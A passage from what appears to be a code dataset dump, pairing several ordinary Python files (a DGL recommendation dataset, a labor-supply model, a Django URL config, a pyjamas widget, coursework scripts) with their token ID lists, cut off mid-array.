neg_src.append(src) neg_dst.append(dst) neg_edge = (th.cat(neg_src), th.cat(neg_dst)) neg_graph = dgl.heterograph({('user', 'user-item', 'item'): neg_edge}, {ntype: self.g.number_of_nodes(ntype) for ntype in ['user', 'item']}) dgl.save_graphs('./openhgnn/debug/neg.bin', neg_graph)
[ 1, 529, 276, 1112, 420, 29958, 22381, 29891, 29900, 29947, 29906, 29947, 29914, 6585, 29950, 29954, 10262, 29966, 9507, 29958, 3150, 29882, 5138, 29876, 29914, 24713, 29914, 1123, 2055, 355, 362, 16390, 24541, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 270, 3820, 13, 5215, 4842, 305, 408, 266, 13, 3166, 869, 1053, 7399, 16390, 24541, 29892, 6036, 29918, 24713, 13, 3166, 270, 3820, 29889, 1272, 29889, 13239, 1053, 2254, 29918, 4262, 29879, 13, 13, 13, 29992, 9573, 29918, 24713, 877, 276, 2055, 355, 362, 1495, 13, 1990, 830, 2055, 355, 362, 16390, 24541, 29898, 5160, 16390, 24541, 1125, 13, 1678, 9995, 13, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1125, 13, 4706, 2428, 29898, 1123, 2055, 355, 362, 16390, 24541, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 13, 13, 29992, 9573, 29918, 24713, 877, 1688, 29918, 2324, 29918, 11965, 2463, 1495, 13, 1990, 4321, 29918, 1123, 2055, 355, 362, 29898, 1123, 2055, 355, 362, 16390, 24541, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8783, 29918, 978, 1125, 13, 4706, 2428, 29898, 1123, 2055, 355, 362, 16390, 24541, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 29887, 353, 1583, 29889, 1359, 29918, 29950, 1177, 877, 6904, 3150, 29882, 5138, 29876, 29914, 8382, 29914, 1272, 29889, 2109, 1495, 13, 4706, 1583, 29889, 5182, 29918, 2324, 353, 525, 1792, 29899, 667, 29915, 13, 4706, 1583, 29889, 5349, 29918, 14394, 353, 7700, 13, 4706, 1583, 29889, 1457, 5014, 580, 13, 4706, 396, 1311, 29889, 17158, 29918, 22198, 580, 13, 13, 1678, 822, 2254, 29918, 29950, 1177, 29898, 1311, 29892, 8783, 29918, 978, 1125, 13, 4706, 330, 29892, 903, 353, 2254, 29918, 4262, 29879, 29898, 24713, 29918, 978, 29897, 13, 4706, 736, 330, 29961, 29900, 29962, 13, 13, 1678, 822, 758, 5014, 29898, 1311, 1125, 13, 4706, 1243, 29918, 13168, 353, 1583, 29889, 29887, 29889, 287, 2710, 29961, 1311, 29889, 5182, 29918, 2324, 1822, 1272, 1839, 1688, 29918, 13168, 2033, 13, 4706, 2380, 353, 266, 29889, 5464, 9171, 29898, 1688, 29918, 13168, 467, 29879, 802, 29872, 911, 580, 13, 4706, 1583, 29889, 1688, 29918, 12864, 353, 1583, 29889, 29887, 29889, 2886, 29918, 287, 2710, 29898, 2248, 29892, 1583, 29889, 5182, 29918, 2324, 29897, 13, 4706, 1583, 29889, 1066, 29918, 1688, 29918, 4262, 353, 270, 3820, 29889, 29882, 1308, 1946, 3319, 877, 1792, 742, 525, 1792, 29899, 667, 742, 525, 667, 29374, 1583, 29889, 1688, 29918, 12864, 1118, 426, 593, 668, 29901, 1583, 29889, 29887, 29889, 4537, 29918, 974, 29918, 18010, 29898, 593, 668, 29897, 363, 302, 1853, 297, 6024, 1792, 742, 525, 667, 2033, 1800, 13, 4706, 1583, 29889, 29887, 29889, 5992, 29918, 287, 2710, 29898, 2248, 29892, 1583, 29889, 5182, 29918, 2324, 29897, 13, 4706, 1583, 29889, 29887, 29889, 5992, 29918, 287, 2710, 29898, 2248, 29892, 525, 667, 29899, 1792, 1495, 13, 4706, 1583, 29889, 10052, 29918, 1688, 29918, 4262, 29892, 903, 353, 270, 3820, 29889, 1359, 29918, 4262, 29879, 877, 6904, 3150, 29882, 5138, 29876, 29914, 8382, 29914, 10052, 29889, 2109, 1495, 13, 4706, 1583, 29889, 10052, 29918, 1688, 29918, 4262, 353, 1583, 29889, 10052, 29918, 1688, 29918, 4262, 29961, 29900, 29962, 13, 4706, 736, 13, 13, 1678, 822, 5706, 29918, 22198, 29898, 1311, 1125, 13, 4706, 413, 353, 29871, 29929, 29929, 13, 4706, 321, 353, 1583, 29889, 1066, 29918, 1688, 29918, 4262, 29889, 287, 2710, 580, 13, 4706, 3480, 29918, 4351, 353, 5159, 13, 4706, 3480, 29918, 22992, 353, 5159, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 1066, 29918, 1688, 29918, 4262, 29889, 4537, 29918, 974, 29918, 287, 2710, 580, 1125, 13, 9651, 4765, 353, 321, 29961, 29900, 3816, 29875, 29962, 13, 9651, 1518, 353, 1583, 29889, 1066, 29918, 1688, 29918, 4262, 29889, 8698, 943, 29898, 4351, 29897, 13, 9651, 29743, 353, 266, 29889, 9502, 524, 29898, 9812, 29922, 1311, 29889, 29887, 29889, 4537, 29918, 974, 29918, 18010, 877, 667, 5477, 2159, 7607, 29895, 29892, 876, 13, 9651, 363, 270, 297, 3464, 29898, 2435, 29898, 22992, 22164, 13, 18884, 1550, 29743, 29961, 29881, 29962, 297, 1518, 29901, 13, 462, 1678, 29743, 29961, 29881, 29962, 353, 266, 29889, 9502, 524, 29898, 9812, 29922, 1311, 29889, 29887, 29889, 4537, 29918, 974, 29918, 18010, 877, 667, 5477, 2159, 7607, 29896, 29892, 876, 13, 9651, 4765, 353, 4765, 29889, 14358, 29918, 1639, 280, 1351, 29898, 29895, 29897, 13, 9651, 3480, 29918, 4351, 29889, 4397, 29898, 4351, 29897, 13, 9651, 3480, 29918, 22992, 29889, 4397, 29898, 22992, 29897, 13, 4706, 3480, 29918, 12864, 353, 313, 386, 29889, 4117, 29898, 10052, 29918, 4351, 511, 266, 29889, 4117, 29898, 10052, 29918, 22992, 876, 13, 4706, 3480, 29918, 4262, 353, 270, 3820, 29889, 29882, 1308, 1946, 3319, 877, 1792, 742, 525, 1792, 29899, 667, 742, 525, 667, 29374, 3480, 29918, 12864, 1118, 426, 593, 668, 29901, 1583, 29889, 29887, 29889, 4537, 29918, 974, 29918, 18010, 29898, 593, 668, 29897, 363, 302, 1853, 297, 6024, 1792, 742, 525, 667, 2033, 1800, 13, 4706, 270, 3820, 29889, 7620, 29918, 4262, 29879, 877, 6904, 3150, 29882, 5138, 29876, 29914, 8382, 29914, 10052, 29889, 2109, 742, 3480, 29918, 4262, 29897, 2 ]
06/LaborSupplyModel.py
AskerNC/lectures-2021
9
50042
<filename>06/LaborSupplyModel.py import numpy as np from scipy import optimize def implied_tax(l,w,tau0,tau1,kappa): """ calculate implied tax of labor supply choice Args: l (float): labor supply w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): total tax bill """ return tau0*w*l + tau1*np.fmax(w*l-kappa,0) def implied_c(l,m,w,tau0,tau1,kappa): """ calculate implied optimal consumption of labor supply choice Args: l (float): labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): consumption """ return m + w*l - implied_tax(l,w,tau0,tau1,kappa) def utility(c,l,nu,frisch): """ utility of consumption and labor supply decision Args: c (float): consumption l (float): labor supply nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply Returns: (float): utility """ return np.log(c) - nu*l**(1+1/frisch)/(1+1/frisch) def value_of_choice(l,nu,frisch,m,w,tau0,tau1,kappa): """ calculate implied utlity of consumption and labor supply choice Args: l (float): labor supply nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): utility """ c = implied_c(l,m,w,tau0,tau1,kappa) return utility(c,l,nu,frisch) def find_optimal_labor_supply(nu,frisch,m,w,tau0,tau1,kappa): """ find optimal labor supply choice Args: nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): utility """ obj = lambda l: -value_of_choice(l,nu,frisch,m,w,tau0,tau1,kappa) res = optimize.minimize_scalar(obj,bounds=(1e-8,1),method='bounded') return res.x
[ 1, 529, 9507, 29958, 29900, 29953, 29914, 29931, 3717, 20182, 368, 3195, 29889, 2272, 13, 5215, 12655, 408, 7442, 13, 3166, 4560, 2272, 1053, 24656, 13, 13, 1753, 2411, 2957, 29918, 20725, 29898, 29880, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 1125, 13, 1678, 9995, 8147, 2411, 2957, 8818, 310, 10212, 11421, 7348, 13, 268, 13, 1678, 826, 3174, 29901, 13, 268, 13, 4706, 301, 313, 7411, 1125, 10212, 11421, 13, 4706, 281, 313, 7411, 1125, 281, 482, 13, 4706, 260, 585, 29900, 313, 7411, 1125, 3918, 10212, 8818, 13, 4706, 260, 585, 29896, 313, 7411, 1125, 2246, 4105, 3522, 10212, 17869, 8818, 13, 4706, 413, 8055, 313, 7411, 1125, 5700, 29899, 2696, 363, 278, 2246, 10212, 17869, 4105, 3522, 13, 308, 13, 1678, 16969, 29901, 13, 268, 13, 4706, 313, 7411, 1125, 3001, 8818, 11118, 13, 268, 13, 1678, 9995, 13, 268, 13, 1678, 736, 260, 585, 29900, 29930, 29893, 29930, 29880, 718, 260, 585, 29896, 29930, 9302, 29889, 29888, 3317, 29898, 29893, 29930, 29880, 29899, 9876, 29892, 29900, 29897, 13, 13, 1753, 2411, 2957, 29918, 29883, 29898, 29880, 29892, 29885, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 1125, 13, 1678, 9995, 8147, 2411, 2957, 14413, 27430, 310, 10212, 11421, 7348, 13, 268, 13, 1678, 826, 3174, 29901, 13, 268, 13, 4706, 301, 313, 7411, 1125, 10212, 11421, 13, 4706, 286, 313, 7411, 1125, 274, 1161, 29899, 265, 29899, 3179, 13, 4706, 281, 313, 7411, 1125, 281, 482, 13, 4706, 260, 585, 29900, 313, 7411, 1125, 3918, 10212, 8818, 13, 4706, 260, 585, 29896, 313, 7411, 1125, 2246, 4105, 3522, 10212, 17869, 8818, 13, 4706, 413, 8055, 313, 7411, 1125, 5700, 29899, 2696, 363, 278, 2246, 10212, 17869, 4105, 3522, 13, 308, 13, 1678, 16969, 29901, 13, 268, 13, 4706, 313, 7411, 1125, 27430, 13, 268, 13, 1678, 9995, 13, 268, 13, 1678, 736, 286, 718, 281, 29930, 29880, 448, 2411, 2957, 29918, 20725, 29898, 29880, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 29897, 13, 13, 1753, 19725, 29898, 29883, 29892, 29880, 29892, 3433, 29892, 1341, 783, 1125, 13, 1678, 9995, 19725, 310, 27430, 322, 10212, 11421, 10608, 13, 268, 13, 1678, 826, 3174, 29901, 13, 268, 13, 4706, 274, 313, 7411, 1125, 27430, 13, 4706, 301, 313, 7411, 1125, 10212, 11421, 13, 4706, 4948, 313, 7411, 1125, 766, 329, 1793, 310, 10212, 11421, 13, 4706, 1424, 783, 313, 7411, 1125, 1424, 783, 560, 6288, 537, 310, 10212, 11421, 13, 308, 13, 1678, 16969, 29901, 13, 268, 13, 4706, 313, 7411, 1125, 19725, 13, 268, 13, 1678, 9995, 13, 268, 13, 1678, 736, 7442, 29889, 1188, 29898, 29883, 29897, 448, 4948, 29930, 29880, 1068, 29898, 29896, 29974, 29896, 29914, 1341, 783, 6802, 29898, 29896, 29974, 29896, 29914, 1341, 783, 29897, 13, 13, 1753, 995, 29918, 974, 29918, 16957, 29898, 29880, 29892, 3433, 29892, 1341, 783, 29892, 29885, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 1125, 13, 1678, 9995, 8147, 2411, 2957, 3477, 29880, 537, 310, 27430, 322, 10212, 11421, 7348, 13, 268, 13, 1678, 826, 3174, 29901, 13, 268, 13, 4706, 301, 313, 7411, 1125, 10212, 11421, 13, 4706, 4948, 313, 7411, 1125, 766, 329, 1793, 310, 10212, 11421, 13, 4706, 1424, 783, 313, 7411, 1125, 1424, 783, 560, 6288, 537, 310, 10212, 11421, 308, 13, 4706, 286, 313, 7411, 1125, 274, 1161, 29899, 265, 29899, 3179, 13, 4706, 281, 313, 7411, 1125, 281, 482, 13, 4706, 260, 585, 29900, 313, 7411, 1125, 3918, 10212, 8818, 13, 4706, 260, 585, 29896, 313, 7411, 1125, 2246, 4105, 3522, 10212, 17869, 8818, 13, 4706, 413, 8055, 313, 7411, 1125, 5700, 29899, 2696, 363, 278, 2246, 10212, 17869, 4105, 3522, 13, 308, 13, 1678, 16969, 29901, 13, 268, 13, 4706, 313, 7411, 1125, 19725, 13, 308, 13, 1678, 9995, 13, 268, 13, 1678, 274, 353, 2411, 2957, 29918, 29883, 29898, 29880, 29892, 29885, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 29897, 13, 1678, 736, 19725, 29898, 29883, 29892, 29880, 29892, 3433, 29892, 1341, 783, 29897, 13, 13, 1753, 1284, 29918, 3670, 3039, 29918, 29880, 3717, 29918, 19303, 368, 29898, 3433, 29892, 1341, 783, 29892, 29885, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 1125, 13, 1678, 9995, 1284, 14413, 10212, 11421, 7348, 13, 268, 13, 1678, 826, 3174, 29901, 13, 268, 13, 4706, 4948, 313, 7411, 1125, 766, 329, 1793, 310, 10212, 11421, 13, 4706, 1424, 783, 313, 7411, 1125, 1424, 783, 560, 6288, 537, 310, 10212, 11421, 308, 13, 4706, 286, 313, 7411, 1125, 274, 1161, 29899, 265, 29899, 3179, 13, 4706, 281, 313, 7411, 1125, 281, 482, 13, 4706, 260, 585, 29900, 313, 7411, 1125, 3918, 10212, 8818, 13, 4706, 260, 585, 29896, 313, 7411, 1125, 2246, 4105, 3522, 10212, 17869, 8818, 13, 4706, 413, 8055, 313, 7411, 1125, 5700, 29899, 2696, 363, 278, 2246, 10212, 17869, 4105, 3522, 13, 308, 13, 1678, 16969, 29901, 13, 268, 13, 4706, 313, 7411, 1125, 19725, 13, 308, 13, 1678, 9995, 13, 268, 13, 268, 13, 1678, 5446, 353, 14013, 301, 29901, 448, 1767, 29918, 974, 29918, 16957, 29898, 29880, 29892, 3433, 29892, 1341, 783, 29892, 29885, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 29897, 13, 1678, 620, 353, 24656, 29889, 1195, 326, 675, 29918, 19529, 279, 29898, 5415, 29892, 23687, 7607, 29896, 29872, 29899, 29947, 29892, 29896, 511, 5696, 2433, 29306, 1495, 13, 1678, 736, 620, 29889, 29916, 2 ]
tests/utils/test_in_memory_zip.py
goldworm-icon/gw-iconsdk
2
112694
# -*- coding: utf-8 -*- import os from icon.utils.in_memory_zip import InMemoryZip def test_in_memory_zip(): parent_path: str = os.path.dirname(__file__) path: str = os.path.join(parent_path, "data_to_zip") mem_zip = InMemoryZip() mem_zip.run(path) with open("data.zip", "wb") as f: f.write(mem_zip.data)
[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 5215, 2897, 13, 13, 3166, 9849, 29889, 13239, 29889, 262, 29918, 14834, 29918, 7554, 1053, 512, 16015, 26264, 13, 13, 13, 1753, 1243, 29918, 262, 29918, 14834, 29918, 7554, 7295, 13, 1678, 3847, 29918, 2084, 29901, 851, 353, 2897, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 29897, 13, 1678, 2224, 29901, 851, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3560, 29918, 2084, 29892, 376, 1272, 29918, 517, 29918, 7554, 1159, 13, 13, 1678, 2626, 29918, 7554, 353, 512, 16015, 26264, 580, 13, 1678, 2626, 29918, 7554, 29889, 3389, 29898, 2084, 29897, 13, 13, 1678, 411, 1722, 703, 1272, 29889, 7554, 613, 376, 29893, 29890, 1159, 408, 285, 29901, 13, 4706, 285, 29889, 3539, 29898, 6954, 29918, 7554, 29889, 1272, 29897, 13, 2 ]
examplecms/urls.py
nacady/django-publish
0
108105
<filename>examplecms/urls.py<gh_stars>0 from django.conf.urls import include, url from django.conf import settings from django.contrib import admin from django.views import static urlpatterns = [ url('^admin/', include(admin.site.urls)), url(r'^media/(?P<path>.*)$', static.serve, {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}), url('^', include('pubcms.urls')), ]
[ 1, 529, 9507, 29958, 4773, 29883, 1516, 29914, 26045, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 9557, 29889, 5527, 29889, 26045, 1053, 3160, 29892, 3142, 13, 3166, 9557, 29889, 5527, 1053, 6055, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 3166, 9557, 29889, 7406, 1053, 2294, 13, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 3142, 877, 29985, 6406, 29914, 742, 3160, 29898, 6406, 29889, 2746, 29889, 26045, 8243, 13, 13, 1678, 3142, 29898, 29878, 29915, 29985, 9799, 29914, 10780, 29925, 29966, 2084, 29958, 5575, 1262, 742, 2294, 29889, 16349, 29892, 11117, 3225, 29918, 4632, 2396, 6055, 29889, 2303, 4571, 29909, 29918, 21289, 29892, 525, 4294, 29918, 2248, 267, 2396, 5852, 9594, 13, 268, 13, 1678, 3142, 877, 29985, 742, 3160, 877, 5467, 29883, 1516, 29889, 26045, 1495, 511, 13, 29962, 13, 2 ]
pyjswidgets/pyjamas/ui/GlassWidget.ie6.py
takipsizad/pyjs
739
123953
# Copyright 2006 <NAME> and contributors # Copyright (C) 2009 <NAME> <<EMAIL>> # Copyright (C) 2010 <NAME> <<EMAIL>> # Copyright (C) 2010 <NAME> (IE override) <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This IE-specific override is required because IE doesn't allow # empty element to generate events. Therefore, when the mouse moves # (or clicks) happen over *only* the GlassWidget (which is empty) # they stop flowing. however, IE does provide setCapture/releaseCapture # methods on elements which can be used to same effect as a regular # GlassWidget. # This file implements the IE version of GlassWidget simply by mapping # the GlassWidget API to the use of setCapture/releaseCapture # we re-use the global 'mousecapturer' to prevent GlassWidget.hide() # from releasing someone else's capture def show(mousetarget, **kwargs): global mousecapturer # get the element that wants events target_element = mousetarget.getElement() # insure element can capture events if hasattr(target_element,"setCapture"): # remember it mousecapturer = target_element # start capturing DOM.setCapture(target_element) def hide(): global mousecapturer if hasattr(mousecapturer,"releaseCapture"): DOM.releaseCapture(mousecapturer) mousecapturer = None
[ 1, 396, 14187, 1266, 29871, 29906, 29900, 29900, 29953, 529, 5813, 29958, 322, 17737, 29560, 13, 29937, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29900, 29929, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 29937, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29900, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 29937, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29900, 529, 5813, 29958, 313, 8673, 5712, 29897, 3532, 26862, 6227, 6778, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 29937, 910, 7159, 29899, 14940, 5712, 338, 3734, 1363, 7159, 1838, 29915, 29873, 2758, 13, 29937, 4069, 1543, 304, 5706, 4959, 29889, 7857, 29892, 746, 278, 9495, 16229, 13, 29937, 313, 272, 19367, 29897, 3799, 975, 334, 6194, 29930, 278, 402, 605, 8801, 313, 4716, 338, 4069, 29897, 13, 29937, 896, 5040, 4972, 292, 29889, 3138, 29892, 7159, 947, 3867, 731, 21133, 545, 29914, 14096, 21133, 545, 13, 29937, 3519, 373, 3161, 607, 508, 367, 1304, 304, 1021, 2779, 408, 263, 4943, 13, 29937, 402, 605, 8801, 29889, 13, 13, 29937, 910, 934, 10703, 278, 7159, 1873, 310, 402, 605, 8801, 3763, 491, 10417, 13, 29937, 278, 402, 605, 8801, 3450, 304, 278, 671, 310, 731, 21133, 545, 29914, 14096, 21133, 545, 13, 13, 29937, 591, 337, 29899, 1509, 278, 5534, 525, 15769, 17885, 9945, 29915, 304, 5557, 402, 605, 8801, 29889, 11458, 580, 13, 29937, 515, 337, 280, 5832, 4856, 1683, 29915, 29879, 10446, 13, 13, 1753, 1510, 29898, 29885, 681, 300, 2097, 29892, 3579, 19290, 1125, 13, 1678, 5534, 9495, 17885, 9945, 13, 1678, 396, 679, 278, 1543, 393, 10753, 4959, 13, 1678, 3646, 29918, 5029, 353, 286, 681, 300, 2097, 29889, 6014, 580, 13, 1678, 396, 1663, 545, 1543, 508, 10446, 4959, 13, 1678, 565, 756, 5552, 29898, 5182, 29918, 5029, 1699, 842, 21133, 545, 29908, 1125, 13, 4706, 396, 6456, 372, 13, 4706, 9495, 17885, 9945, 353, 3646, 29918, 5029, 13, 4706, 396, 1369, 4332, 3864, 13, 4706, 12369, 29889, 842, 21133, 545, 29898, 5182, 29918, 5029, 29897, 13, 13, 1753, 9563, 7295, 13, 1678, 5534, 9495, 17885, 9945, 13, 1678, 565, 756, 5552, 29898, 15769, 17885, 9945, 1699, 14096, 21133, 545, 29908, 1125, 13, 4706, 12369, 29889, 14096, 21133, 545, 29898, 15769, 17885, 9945, 29897, 13, 1678, 9495, 17885, 9945, 353, 6213, 13, 2 ]
Python Data Structures/Problem Set 10.py
Karoline0097/University-of-Michigan-Python-for-Everybody
0
123925
## Problem 10.2 # write a program to read through the mbox-short.txt # and figure out the distribution by hour of the day for each of the messages. file_name = input("Enter file:") file_handle = open(file_name) hour_list = list() for line in file_handle: # pull the hour out from the 'From ' line # From <EMAIL> Sat Jan 5 09:14:16 2008 if line.startswith("From"): line_list = line.split() if len(line_list) > 2: # find the time and then split the string a second time hour = line_list[5][:2] hour_list.append(hour) # accumulate the counts for each hour hour_dict = dict() for key in hour_list: hour_dict[key] = hour_dict.get(key, 0) + 1 # sort by hour srt_list = sorted(hour_dict.items()) # print out the counts, sorted by hour for (k,v) in srt_list: print (k,v)
[ 1, 444, 11583, 29871, 29896, 29900, 29889, 29906, 13, 29937, 2436, 263, 1824, 304, 1303, 1549, 278, 286, 1884, 29899, 12759, 29889, 3945, 13, 29937, 322, 4377, 714, 278, 4978, 491, 7234, 310, 278, 2462, 363, 1269, 310, 278, 7191, 29889, 13, 13, 1445, 29918, 978, 353, 1881, 703, 10399, 934, 29901, 1159, 13, 1445, 29918, 8411, 353, 1722, 29898, 1445, 29918, 978, 29897, 13, 13, 18721, 29918, 1761, 353, 1051, 580, 13, 1454, 1196, 297, 934, 29918, 8411, 29901, 13, 1678, 396, 8206, 278, 7234, 714, 515, 278, 525, 4591, 525, 1196, 13, 1678, 396, 3645, 529, 26862, 6227, 29958, 12178, 2627, 259, 29945, 29871, 29900, 29929, 29901, 29896, 29946, 29901, 29896, 29953, 29871, 29906, 29900, 29900, 29947, 13, 1678, 565, 1196, 29889, 27382, 2541, 703, 4591, 29908, 1125, 13, 4706, 1196, 29918, 1761, 353, 1196, 29889, 5451, 580, 13, 4706, 565, 7431, 29898, 1220, 29918, 1761, 29897, 1405, 29871, 29906, 29901, 13, 9651, 396, 1284, 278, 931, 322, 769, 6219, 278, 1347, 263, 1473, 931, 13, 9651, 7234, 353, 1196, 29918, 1761, 29961, 29945, 3816, 29901, 29906, 29962, 13, 9651, 7234, 29918, 1761, 29889, 4397, 29898, 18721, 29897, 13, 13, 29937, 18414, 5987, 278, 18139, 363, 1269, 7234, 13, 18721, 29918, 8977, 353, 9657, 580, 13, 1454, 1820, 297, 7234, 29918, 1761, 29901, 13, 1678, 7234, 29918, 8977, 29961, 1989, 29962, 353, 7234, 29918, 8977, 29889, 657, 29898, 1989, 29892, 29871, 29900, 29897, 718, 29871, 29896, 13, 13, 29937, 2656, 491, 7234, 13, 29879, 2273, 29918, 1761, 353, 12705, 29898, 18721, 29918, 8977, 29889, 7076, 3101, 13, 13, 29937, 1596, 714, 278, 18139, 29892, 12705, 491, 7234, 13, 1454, 313, 29895, 29892, 29894, 29897, 297, 269, 2273, 29918, 1761, 29901, 13, 1678, 1596, 313, 29895, 29892, 29894, 29897, 2 ]
lab/hw03-part-i_nov14.py
jzacsh/neuralnets-cmp464
1
1741
<reponame>jzacsh/neuralnets-cmp464<gh_stars>1-10 """ <NAME> solution to homework #3, Nov 14., Part I """ # Per homework instructions, following lead from matlab example by professor: # http://comet.lehman.cuny.edu/schneider/Fall17/CMP464/Maple/PartialDerivatives1.pdf import sys import tensorflow as tf import tempfile import os import numpy as np os.environ['TF_CPP_MIN_LOG_LEVEL']='2' # not really doing intersting things in this lab, so just ignore optimization class Differentiable: """ encapsulation of a function and its derivative """ def __init__(self, label, f, d): self.func = f self.deriv = d self.func.name = label self.deriv.name = "%sDeriv" % label # g(x) = x^4+2x-7 ; per matlab example # g'(x) = 4x^3+2 fExFourth = Differentiable("fExFourth", lambda x: tf.add_n([tf.pow(x, 4), tf.multiply(2, x), -7]), lambda x: tf.add_n([tf.multiply(4, tf.pow(x, 3)), 2])) tFofTwo = fExFourth.func(2) tFofDerivTwo = fExFourth.deriv(2) log_dir = tempfile.mkdtemp(prefix="hw3-nov14-parti") print(log_dir) with tf.Session() as sess: writer = tf.summary.FileWriter(log_dir, sess.graph) fOfTwo, fDerivOfTwo = results = sess.run([tFofTwo, tFofDerivTwo]) sys.stderr.write("results:\n\tf(2)=%s\n\tf'(2)=%s\n" % (fOfTwo, fDerivOfTwo)) # note: only needed when doing a *loop* of sess.run() calls, and want to see # intermediary results per-loop. #writer.add_summary(results) writer.flush() writer.close()
[ 1, 529, 276, 1112, 420, 29958, 29926, 29920, 562, 845, 29914, 484, 3631, 1212, 29879, 29899, 21058, 29946, 29953, 29946, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 13, 29966, 5813, 29958, 1650, 304, 3271, 1287, 396, 29941, 29892, 2864, 29871, 29896, 29946, 1696, 3455, 306, 13, 15945, 29908, 13, 29937, 2431, 3271, 1287, 11994, 29892, 1494, 3275, 515, 1775, 8205, 1342, 491, 12251, 29901, 13, 29937, 259, 1732, 597, 510, 300, 29889, 280, 29882, 1171, 29889, 29883, 348, 29891, 29889, 6085, 29914, 816, 484, 1241, 29914, 29943, 497, 29896, 29955, 29914, 29907, 3580, 29946, 29953, 29946, 29914, 3388, 280, 29914, 7439, 616, 15383, 440, 5056, 29896, 29889, 5140, 13, 5215, 10876, 13, 5215, 26110, 408, 15886, 13, 5215, 5694, 1445, 13, 5215, 2897, 13, 5215, 12655, 408, 7442, 13, 13, 359, 29889, 21813, 1839, 8969, 29918, 6271, 29925, 29918, 16173, 29918, 14480, 29918, 1307, 29963, 6670, 2033, 2433, 29906, 29915, 13, 29937, 451, 2289, 2599, 1006, 303, 292, 2712, 297, 445, 9775, 29892, 577, 925, 11455, 13883, 13, 13, 1990, 360, 8349, 7268, 519, 29901, 13, 1678, 9995, 2094, 2547, 2785, 310, 263, 740, 322, 967, 16291, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3858, 29892, 285, 29892, 270, 1125, 13, 4706, 1583, 29889, 9891, 353, 285, 13, 4706, 1583, 29889, 672, 440, 353, 270, 13, 4706, 1583, 29889, 9891, 29889, 978, 353, 3858, 13, 4706, 1583, 29889, 672, 440, 29889, 978, 353, 11860, 29879, 15383, 440, 29908, 1273, 3858, 13, 13, 29937, 330, 29898, 29916, 29897, 353, 921, 29985, 29946, 29974, 29906, 29916, 29899, 29955, 2056, 639, 1775, 8205, 1342, 13, 29937, 330, 12215, 29916, 29897, 353, 29871, 29946, 29916, 29985, 29941, 29974, 29906, 13, 29888, 1252, 29943, 473, 386, 353, 360, 8349, 7268, 519, 703, 29888, 1252, 29943, 473, 386, 613, 13, 4706, 14013, 921, 29901, 15886, 29889, 1202, 29918, 29876, 4197, 13264, 29889, 12248, 29898, 29916, 29892, 29871, 29946, 511, 15886, 29889, 18056, 368, 29898, 29906, 29892, 921, 511, 448, 29955, 11724, 13, 4706, 14013, 921, 29901, 15886, 29889, 1202, 29918, 29876, 